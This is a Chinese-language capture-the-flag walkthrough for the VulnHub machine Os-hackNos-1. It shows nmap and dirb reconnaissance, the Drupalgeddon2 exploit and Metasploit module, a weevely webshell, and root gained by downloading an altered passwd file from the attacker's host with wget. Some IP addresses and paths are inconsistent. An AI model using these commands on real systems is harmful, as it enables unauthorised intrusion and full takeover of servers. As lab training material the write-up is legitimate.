靶机Hacknos-1

实验主机:Os-hackerNos靶机一台/Kali linux攻击机一台

实验网络:桥接网络

实验目标:获取靶机的Root权限

难易程度:简单

前期工作:

1:下载Virtualbox虚拟化软件

下载地址:https://www.virtualbox.org/wiki/Downloads

2:下载目标靶机并导入Virtualbox

下载地址:hackNos: Os-hackNos ~ VulnHub

Os-hackNos-1.ova下载下来之后打开Virtualbox按下快捷键Ctrl+i将其导入

靶机Hacknos-1

导入之后需要修改几个地方:

靶机Hacknos-1

靶机Hacknos-1

靶机Hacknos-1

3:安装并配置好自己的Kali linux主机,这里我用的版本是最新版201904

Target:信息收集

思路:既然是要对目标主机进行入侵,就要找出目标主机的真实性IP地址的所开放的端口,因为服务器或者个人主机对外提供服务都是通过端口来进行数据之间的通行;

注意:一个服务可以占用多个端口,但是一个端口只能被一个服务占用

首先确定我们是谁?

靶机Hacknos-1

扫描我们的目标在哪里???

扫描命令 nmap -sP 192.168.1.0/24 这里的ip可以换成别的

靶机Hacknos-1

这里有很多台机器,这就是为什么要记住MAC地址

想必,已经猜出来那个是我们的目标了吧!!!

靶机Hacknos-1

那么接下来我们需要确定目标主机开起了什么服务???

nmap -v -A 目标ip地址 -v 显示扫描过程详细信息

或者nmap -sV 目标ip地址 -O

靶机Hacknos-1

靶机Hacknos-1

22端口用于SSH服务,前身是RSH,之后因为传输的数据被加密所以改成了SSH(只需要将私钥放到本地就可以免密码登录),针对于这个端口的最好办法就是暴力破解,但是太费时间不是首要的攻击方式,后面拿不下的时候可以先用暴力破解

80端口用于HTTP服务,还有一个安全的HTTPS,接下来我们就要转到WEB渗透才是目前最好的选择

WEB信息收集:

首先要去目标网站浏览一番,发现这好像是个新建立的站点,但也不确定,毕竟要知道椰树的能力是强大的,但这里我们用dirb这款kali中的工具

靶机Hacknos-1

dirb http://172.16.1.16/

靶机Hacknos-1

靶机Hacknos-1

敏感信息收集发现http://192.168.1.16/drupal/themes/seven/下的Seven.info存在drupal版本信息

靶机Hacknos-1

这个才是我们今天的主角,整个服务器的安全短板就在于此

我们先从github找下关于这个drupal cms的POC和EXP

靶机Hacknos-1

下载地址:https://github.com/dreadlocked/Drupalgeddon2

接下来我们就需要下载这个脚本并运行拿到网站的WEBshell

Target:获取目标网站的WEBshell

git clone https://github.com/dreadlocked/Drupalgeddon2.git

靶机Hacknos-1

命令:gem install highline

靶机Hacknos-1

在下载的目录下输入:

./drupalgeddon2.rb http://172.16.1.16/drupa

靶机Hacknos-1

靶机Hacknos-1

靶机Hacknos-1

此时,我们已经拿到一个shell,然而我们的权限太小,需要提权

Target:权限维持

拿到shell第一步:权限维持,我们需要kali中自带网站管理工具来做

在我们的kali系统中输入 weevely generate 密码 ./名称.php

靶机Hacknos-1

我们现在本地做个测试,看看能否连接上,本地不行的话就直接放入目标机器

靶机Hacknos-1

wget http://172.16.1.16/666.php 将创建好的脚本下载到目标机器

靶机Hacknos-1

这样我们就可以在我们的kali终端进行连接

weevely http://172.16.1.16/drupal/666.php chong 最后的参数为密码

靶机Hacknos-1

Target:提权

靶机Hacknos-1

Base64加密—>解密:

靶机Hacknos-1

在解密:

靶机Hacknos-1

解密网站:

BASE64加密解密

Brainfuck Language - Online Decoder, Translator, Interpreter

如果不出意外的话就是系统用户账号密码了

靶机Hacknos-1

没办法在shell中,看来必须在msfshell终端中才能切换用户身份了

靶机Hacknos-1

Root用户的家目录没法进去,但是存储用户密码文件却能被访问

靶机Hacknos-1

这里我们不能直接通过webshell修改,只能想办法修改掉passwd文件,我们先制作一个具有root权限的用户,即为uid和gid都为0,并且按照passwd格式添加到文件中,使其保存,我们可以通过小马的file_download功能下载passwd文件,并在本地修改回传到靶机上。

将passwd文件下载到我们kali本地

file_download passwd /root/passwd

靶机Hacknos-1

openssl passwd -1 -salt salt chong

靶机Hacknos-1

将得到的密码添加进去

靶机Hacknos-1

靶机Hacknos-1

在此发现Wget具有SUID权限,可以进行SUID提权,具体详见课程体系中的SUID提权内容

再到我们获取的虚拟shell中使用 wget将我们修改过得passwd文件下载到目标机器中并覆盖原文件

wget http://172.16.1.5:8080/passwd -O passwd

靶机Hacknos-1

此刻我们只需要一个与其交互的shell即可大功告成!!!

靶机Hacknos-1

use exploit/unix.webapp/drupal_drupalgeddon2

靶机Hacknos-1

use exploit/unix.webapp/drupal_drupalgeddon2

set rhosts 192.168.1.10 这里的ip为目标机器ip

set targeturi /drupal

run或者exploit

然后在下面输入 shell

然后在当前界面下输入

python3 -c 'import pty; pty.spawn("/bin/bash")'

之后切换用户 su chong

密码 chong

进入/root

打开root.txt并截图完成。。。。。。

靶机Hacknos-1

靶机Hacknos-1

上一篇:研一下学习笔记


下一篇:11g 逻辑备库简单故障处理